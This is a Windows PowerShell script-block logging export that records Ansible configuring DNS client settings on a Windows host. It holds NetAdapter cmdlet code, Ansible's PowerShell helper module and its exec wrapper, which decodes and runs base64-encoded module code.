$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapter' -Alias '*'
function Restart-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(Par
ScriptBlock ID: d0792406-b1c9-4954-8426-31ce757dfcfb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1904 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-6dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapter'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapter')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByIfIndex', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[switch]
${Physical},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByIfIndex') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID', 'ByIfIndex') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('Physical') -and (@('ByName', 'ByInstanceID', 'ByIfIndex') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('Physical', ${Physical})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapter' -Alias '*'
function Enable-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contai
ScriptBlock ID: d0792406-b1c9-4954-8426-31ce757dfcfb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1903 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-6dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 7e5f66ab-6590-4152-a966-226ed11a6cec
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1902 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 4584 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:08 AM | dfeadd90-ee34-0002-52fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 7080d63a-4110-405e-9688-b58e32699ac2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1901 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 4584 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:08 AM | dfeadd90-ee34-0002-43fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_dns_client", "_ansible_remote_tmp": "%TEMP%", "_ansible_keep_remote_files": false, "_ansible_verbosity": 2, "ipv4_addresses": ["10.222.0.11", "8.8.8.8", "4.4.4.4"], "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_diff": false, "adapter_names": "Ethernet 2", "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 1b27590e-2f2c-4a71-ada2-c5f6a0ec98a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1900 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 4584 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:08 AM | dfeadd90-ee34-0002-3dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
Z0RhdGEgPSBHZXQtSXRlbVByb3BlcnR5ICJIS0xNOlxTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxTZXNzaW9uIE1hbmFnZXIiICJQZW5kaW5nRmlsZVJlbmFtZU9wZXJhdGlvbnMiIC1FQSBJZ25vcmUKICAgICRDQlNSZWJvb3RTdGF0dXMgPSBHZXQtQ2hpbGRJdGVtICJIS0xNOlxcU09GVFdBUkVcTWljcm9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RXhjZXB0aW9uOiAkKCRleGNlcCB8IG91dC1zdHJpbmcpIgoKICAgIFRocm93Cn0KCg==", "module_args": {
ScriptBlock ID: 1b27590e-2f2c-4a71-ada2-c5f6a0ec98a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1899 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 4584 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:08 AM | dfeadd90-ee34-0002-3dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
